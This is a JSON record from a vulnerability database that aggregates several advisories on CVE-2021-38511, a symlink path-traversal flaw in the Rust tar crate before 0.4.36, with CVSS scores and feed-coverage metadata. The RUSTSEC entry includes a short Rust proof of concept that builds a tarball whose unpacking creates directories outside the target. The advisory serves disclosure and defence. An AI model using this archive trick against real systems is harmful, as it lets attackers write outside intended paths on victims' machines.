{"id":"RUSTSEC-2021-0080","revision":null,"records":[{"revision":"a8779edfefd54ceb8c0faaf71189b080","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2021-38511","aliases":[],"title":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","description":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","state":0,"publishedAt":"2021-08-10T22:12:46+00:00","modifiedAt":"2024-08-04T01:44:23.549+00:00","affected":[{"ecosystem":"Vendor product","name":"n/a","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"product\": \"n/a\",\n                    \"vendor\": \"n/a\",\n                    \"versions\": [\n                        {\n                            \"status\": \"affected\",\n                            \"version\": \"n/a\"\n                        }\n                    ]\n                }"}],"metrics":[],"references":["https://rustsec.org/advisories/RUSTSEC-2021-0080.html","https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2021-38511","license":"CVE Program Terms of Use","key":"cve-program:CVE-2021-38511","identifiers":["CVE-2021-38511"]},"retained":false,"historicalAffected":[]},{"revision":"75951ff7851044c08e9b087b5a4a4385","observedAt":"2026-11-24T03:36:24.133+00:00","statement":{"source":"euvd","id":"EUVD-2021-1587","aliases":["CVE-2021-38511","GHSA-62jx-8vmh-4mcw"],"title":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","description":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[],"references":["https://rustsec.org/advisories/RUSTSEC-2021-0080.html","https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2021-1587","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 10, 2021, 10:12:46 PM","dateUpdated":"Aug 4, 2024, 1:44:23 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2021-1587","identifiers":["EUVD-2021-1587","CVE-2021-38511","GHSA-62jx-8vmh-4mcw"]},"retained":false,"historicalAffected":[]},{"revision":"7a5c35fb6b2b4f5f9720f0c85878c870","observedAt":"2026-10-24T19:17:25.748+00:00","statement":{"source":"nvd","id":"CVE-2021-38511","aliases":[],"title":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","description":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","state":0,"publishedAt":"2021-08-10T23:15:07.237+00:00","modifiedAt":"2026-06-17T04:02:15.5+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":"HIGH"},{"system":"CVSS 2.0 · nvd@nist.gov · Primary","vector":"AV:N/AC:L/Au:N/C:N/I:P/A:N","score":5,"severity":"MEDIUM"}],"references":["https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md","https://rustsec.org/advisories/RUSTSEC-2021-0080.html"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-38511","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-59"],"productCriteria":["cpe:2.3:a:tar_project:tar:*:*:*:*:*:rust:*:*"],"sourceDates":{"published":"2021-08-10T23:15:07.237","lastModified":"2026-06-17T04:02:15.500"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2021-38511","identifiers":["CVE-2021-38511"]},"retained":false,"historicalAffected":[]},{"revision":"fdfbb147405547d3a3c9e16e3f21d4ae","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-62jx-8vmh-4mcw","aliases":["CVE-2021-38511","RUSTSEC-2021-0080"],"title":"Links in archive can create arbitrary directories","description":"When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.","state":0,"publishedAt":"2021-08-25T20:58:23+00:00","modifiedAt":"2023-11-08T04:06:27.878399+00:00","affected":[{"ecosystem":"crates.io","name":"tar","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.4.36"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2021-38511","https://github.com/alexcrichton/tar-rs/issues/238","https://github.com/alexcrichton/tar-rs/pull/259","https://github.com/alexcrichton/tar-rs","https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md","https://rustsec.org/advisories/RUSTSEC-2021-0080.html"],"sourceUrl":"https://github.com/advisories/GHSA-62jx-8vmh-4mcw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-62jx-8vmh-4mcw","identifiers":["GHSA-62jx-8vmh-4mcw","CVE-2021-38511","RUSTSEC-2021-0080"]},"retained":false,"historicalAffected":[]},{"revision":"1e5dc7d60fd94f6d93fb10216c78e105","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"RUSTSEC-2021-0080","aliases":["CVE-2021-38511","GHSA-62jx-8vmh-4mcw"],"title":"Links in archive can create arbitrary directories","description":"When unpacking a tarball that contains a symlink the `tar` crate may create\ndirectories outside of the directory it's supposed to unpack into.\n\nThe function errors when it's trying to create a file, but the folders are\nalready created at this point.\n\n```rust\nuse std::{io, io::Result};\nuse tar::{Archive, Builder, EntryType, Header};\n\nfn main() -> Result<()> {\n    let mut buf = Vec::new();\n\n    {\n        let mut builder = Builder::new(&mut buf);\n\n        // symlink: parent -> ..\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink\")?;\n        header.set_link_name(\"..\")?;\n        header.set_entry_type(EntryType::Symlink);\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(&header, io::empty())?;\n\n        // file: symlink/exploit/foo/bar\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink/exploit/foo/bar\")?;\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(&header, io::empty())?;\n\n        builder.finish()?;\n    };\n\n    Archive::new(&*buf).unpack(\"demo\")\n}\n```\n\nThis has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is\npublished as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for\ndiscovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for\nthe fix!","state":0,"publishedAt":"2021-07-19T12:00:00+00:00","modifiedAt":"2026-07-17T16:00:04.6714272+00:00","affected":[{"ecosystem":"crates.io","name":"tar","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.0.0-0"},{"kind":"fixed","version":"0.4.36"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":null,"severity":null}],"references":["https://crates.io/crates/tar","https://rustsec.org/advisories/RUSTSEC-2021-0080.html","https://github.com/alexcrichton/tar-rs/issues/238"],"sourceUrl":"https://osv.dev/vulnerability/RUSTSEC-2021-0080","license":"OSV · upstream source license applies","key":"osv:RUSTSEC-2021-0080","identifiers":["RUSTSEC-2021-0080","CVE-2021-38511","GHSA-62jx-8vmh-4mcw"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-24T14:27:28.7769286+00:00","complete":true,"records":1792,"lastAttemptAt":"2026-11-24T14:27:28.7769286+00:00","lastSuccessAt":"2026-11-24T14:27:29.0577822+00:00","error":null,"lastVerifiedAt":"2026-11-24T14:27:29.0577826+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-f6e4a7f93ed9acd6fcb1f804a4567f7b9b16730ac126110af8d6d24176317946-2991e6521ef566e0c10209820ac50ab7e651f12955d3aa3999a89d4645ccf91a","complete":true,"records":431180,"lastAttemptAt":"2026-11-24T14:25:34.0694597+00:00","lastSuccessAt":"2026-11-24T14:25:33.9638684+00:00","error":null,"lastVerifiedAt":"2026-11-24T14:25:34.0694597+00:00","snapshotPublishedAt":"2026-11-24T13:29:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-856372ccbc504bdfabe25695728fae30","complete":false,"records":13935,"lastAttemptAt":"2026-11-24T14:30:13.8733764+00:00","lastSuccessAt":"2026-11-24T14:30:13.869+00:00","error":"229 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-24T14:30:13.869+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13742,"expectedIdentifiers":13982,"failedIdentifiers":229},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-24T14:27:28.7769286+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-24T14:27:28.7769286+00:00","lastSuccessAt":"2026-11-24T14:27:29.0592661+00:00","error":null,"lastVerifiedAt":"2026-11-24T14:27:29.0592662+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7e06b8e9a29b4d0684cd567054cf3772","complete":false,"records":13947,"lastAttemptAt":"2026-11-24T14:27:54.293013+00:00","lastSuccessAt":"2026-11-24T14:27:54.289+00:00","error":null,"lastVerifiedAt":"2026-11-24T14:27:54.289+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13483,"expectedIdentifiers":13982,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c86437892ddabdeaf17409463a17578b1e71dd185d64061100dd57629858f6d6","complete":true,"records":10074,"lastAttemptAt":"2026-11-24T14:27:28.6267034+00:00","lastSuccessAt":"2026-11-23T22:27:19.6557603+00:00","error":null,"lastVerifiedAt":"2026-11-24T14:27:28.6267034+00:00","snapshotPublishedAt":"2026-11-23T21:33:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-24T14:25:34.2388851+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-24T14:25:34.2388851+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-3afd4dd07a6bf352a6a53c4438150c464a2527017b95ca94804134ea15f1eba9","complete":true,"records":3220,"lastAttemptAt":"2026-11-24T14:27:28.7339491+00:00","lastSuccessAt":"2026-11-24T10:25:37.8779609+00:00","error":null,"lastVerifiedAt":"2026-11-24T14:27:28.7339491+00:00","snapshotPublishedAt":"2026-11-24T09:33:40+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-21aaa182de2be10c5d73aacd59f230967dc45fb154b9c5733ffb9433db7eecea","complete":true,"records":232963,"lastAttemptAt":"2026-11-24T14:27:28.4958157+00:00","lastSuccessAt":"2026-11-24T14:27:27.4013449+00:00","error":null,"lastVerifiedAt":"2026-11-24T14:27:28.4958157+00:00","snapshotPublishedAt":"2026-11-24T13:48:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}